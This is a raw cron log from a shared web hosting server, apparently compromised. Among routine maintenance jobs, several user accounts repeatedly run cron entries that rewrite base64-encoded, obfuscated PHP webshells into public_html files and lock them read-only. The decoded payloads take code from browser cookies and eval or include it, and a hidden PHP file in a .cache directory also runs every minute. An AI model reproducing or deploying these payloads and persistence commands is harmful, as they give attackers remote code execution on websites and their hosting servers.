Apr 19 06:57:01 medusa CROND[2674]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 06:57:01 medusa CROND[2682]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:57:01 medusa CROND[2680]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:57:01 medusa CROND[2693]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:57:01 medusa CROND[2694]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:58:02 medusa CROND[26491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:58:02 medusa CROND[26492]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 06:58:02 medusa CROND[26493]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:58:02 medusa CROND[26494]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:58:02 medusa CROND[26495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:58:02 medusa CROND[26496]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:58:02 medusa CROND[26497]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:58:02 medusa CROND[26499]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:58:02 medusa CROND[26500]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:58:02 medusa CROND[26504]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:58:02 medusa CROND[26506]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:58:02 medusa CROND[26503]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 06:58:02 medusa CROND[26516]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:58:02 medusa CROND[26525]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:59:01 medusa CROND[18050]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:59:02 medusa CROND[18232]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:59:02 medusa CROND[18233]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:59:02 medusa CROND[18234]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:59:02 medusa CROND[18236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:59:02 medusa CROND[18238]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:59:02 medusa CROND[18239]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:59:02 medusa CROND[18242]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:59:02 medusa CROND[18243]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:59:02 medusa CROND[18240]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 06:59:02 medusa CROND[18244]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:59:02 medusa CROND[18241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:00:01 medusa CROND[9255]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 07:00:01 medusa CROND[9271]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 07:00:01 medusa CROND[9289]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
